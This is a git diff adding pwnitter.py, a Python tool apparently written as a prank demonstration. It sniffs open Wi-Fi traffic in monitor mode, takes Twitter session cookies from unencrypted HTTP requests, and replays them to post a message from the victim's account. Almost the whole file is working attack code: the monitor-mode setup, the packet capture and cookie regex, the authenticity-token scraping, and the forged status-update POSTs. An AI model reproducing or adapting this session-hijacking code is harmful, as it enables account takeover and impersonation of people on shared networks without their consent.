X-Git-Url: http://git.maemo.org/git/?p=pwnitter;a=blobdiff_plain;f=pwnitter.py;fp=pwnitter.py;h=61c98e47081e89dc6fe8f204ad440b2cf040747e;hp=0000000000000000000000000000000000000000;hb=6a3bd277cb62fdb1211603191b00c91606f75e6a;hpb=2b7c0414e0bdeaee1badb4376c6c797c94f7689a diff --git a/pwnitter.py b/pwnitter.py new file mode 100755 index 0000000..61c98e4 --- /dev/null +++ b/pwnitter.py @@ -0,0 +1,227 @@ +#!/usr/bin/env python +# On Linux (as root): +# * apt-get install libpcap0.8 python-pypcap python-dpkt +# * iw wlan0 interface add mon0 type monitor && ifconfig mon0 up +# * ./idiocy.py -i mon0 + +import dbus.service +import dbus.mainloop.glib +import getopt, sys, pcap, dpkt, re, httplib, urllib +import socket +import time +import gobject +import select +import subprocess + +status = 'I browsed twitter insecurely on #fossdotin and all I got was this lousy tweet.' + +def usage(): + print >>sys.stderr, 'Usage: %s [-i device]' % sys.argv[0] + sys.exit(1) + +NAME = 'de.cryptobitch.muelli.Pwnitter' + +class Pwnitter(dbus.service.Object): + def __init__(self, bus, object_name, device='mon0'): + super(Pwnitter, self).__init__(bus, object_name) + self.device = device + + self.status = status + self.is_running = False + + @dbus.service.method(NAME, + in_signature='', out_signature='') + def Start(self, device='mon0'): + # FIXME: Prevent double Start() + cmd = '/usr/sbin/iw wlan0 interface add mon0 type monitor'.split() + subprocess.call(cmd) + cmd = '/sbin/ifconfig mon0 up'.split() + subprocess.call(cmd) + self.is_running = True + try: + self.cap = pcap.pcap(device) + except OSError, e: + print "Error setting up %s" % device + raise e + self.cap.setfilter('dst port 80') + gobject.idle_add(lambda: self.pwn(self.device, self.MessageSent)) + + @dbus.service.signal(NAME) + def MessageSent(self, who): + print "Emitting MessageSent" + return who + return False + pass + + @dbus.service.method(NAME, + in_signature='s', out_signature='') + def SetMessage(self, message): + self.status = message + + @dbus.service.method(NAME, #FIXME: This is probably more beauti with DBus Properties + in_signature='', out_signature='s') + def GetMessage(self): + return self.status + + @dbus.service.method(NAME, + in_signature='', out_signature='') + def Stop(self): + self.is_running = False + print "Receive Stop" + cmd = '/sbin/ifconfig mon0 down'.split() + subprocess.call(cmd) + cmd = '/usr/sbin/iw dev mon0 del'.split() + subprocess.call(cmd) + loop.quit() + + + def pwn(self, device, tweeted_callback=None): + processed = {} + if self.is_running: # This is probably not needed, but I feel better checking it more than too less + #for ts, raw in self.cap: # This blocks. Which is unfortunate if the application wants to exist + cap_fileno = self.cap.fileno() + rlist, wlist, errlist = select.select([cap_fileno], [], [], 2.5) + #print 'rlist, wlist, errlost: %s, %s, %s' % (rlist, wlist, errlist) + if cap_fileno in rlist: + ts, raw = self.cap.next() + eth = dpkt.ethernet.Ethernet(raw) + #print 'got a packet' + # Depending on platform, we can either get fully formed packets or unclassified radio data + if isinstance(eth.data, str): + data = eth.data + else: + data = eth.data.data.data + + hostMatches = re.search('Host: ((?:api|mobile|www)?\.?twitter\.com)', data) + if hostMatches: + print 'Host matched' + host = hostMatches.group(1) + + cookieMatches = re.search('Cookie: ([^\n]+)', data) + if cookieMatches: + cookie = cookieMatches.group(1) + + headers = { + "User-Agent": "Mozilla/5.0", + "Cookie": cookie, + } + + conn = httplib.HTTPSConnection(host) + try: + conn.request("GET", "/", None, headers) + except socket.error, e: + print e + else: + response = conn.getresponse() + page = response.read() + + # Newtwitter and Oldtwitter have different formatting, so be lax + authToken = '' + + formMatches = re.search("<.*?authenticity_token.*?>", page, 0) + if formMatches: + authMatches = re.search("value=[\"'](.*?)[\"']", formMatches.group(0)) + + if authMatches: + authToken = authMatches.group(1) + + nameMatches = re.search('"screen_name":"(.*?)"', page, 0) + if not nameMatches: + nameMatches = re.search('content="(.*?)" name="session-user-screen_name"', page, 0) + + name = '' + if nameMatches: + name = nameMatches.group(1) + + + # We don't want to repeatedly spam people + # FIXME: What the fuck logic. Please clean up + if not ((not name and host != 'mobile.twitter.com') or name in processed): + headers = { + "User-Agent": "Mozilla/5.0", + "Accept": "application/json, text/javascript, */*", + "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8", + "X-Requested-With": "XMLHttpRequest", + "X-PHX": "true", + "Referer": "http://api.twitter.com/p_receiver.html", + "Cookie": cookie + } + + + print 'Issueing connection' + if host == 'mobile.twitter.com': + + params = urllib.urlencode({ + 'tweet[text]': self.status, + 'authenticity_token': authToken + }) + + conn = httplib.HTTPConnection("mobile.twitter.com") + conn.request("POST", "/", params, headers) + + else: + + params = urllib.urlencode({ + 'status': self.status, + 'post_authenticity_token': authToken + }) + + conn = httplib.HTTPConnection("api.twitter.com") + conn.request("POST", "/1/statuses/update.json", params, headers) + + + response = conn.getresponse() + print 'Got response: %s' % response.status + if response.status == 200 or response.status == 302 or response.status == 403: + + if name: + processed[name] = 1 + + # 403 is a dupe tweet + if response.status != 403: + print "Successfully tweeted as %s" % name + print 'calling %s' % tweeted_callback + if tweeted_callback: + tweeted_callback(name) + else: + print 'Already tweeted as %s' % name + + else: + + print "FAILED to tweet as %s, debug follows:" % name + print response.status, response.reason + print response.read() + "\n" + #break # Break after one read packet + return self.is_running # Execute next time, we're idle + # FIXME: Ideally, check whether Pcap has got data for us + +def main(): + + opts, args = getopt.getopt(sys.argv[1:], 'i:h') + device = None + for o, a in opts: + if o == '-i': + device = a + else: + usage() + #pwn(device) + + + +if __name__ == '__main__': + dbus.mainloop.glib.DBusGMainLoop(set_as_default=True) + + #session_bus = dbus.SessionBus() + session_bus = dbus.SystemBus() + name = dbus.service.BusName(NAME, session_bus) + pwnitter = Pwnitter(session_bus, '/Pwnitter') + #object.Start() + + loop = gobject.MainLoop() + print "Running example signal emitter service." + # FIXME: This is debug code + #gobject.idle_add(pwnitter.MessageSent) + + loop.run() + print "Exiting for whatever reason" + #main()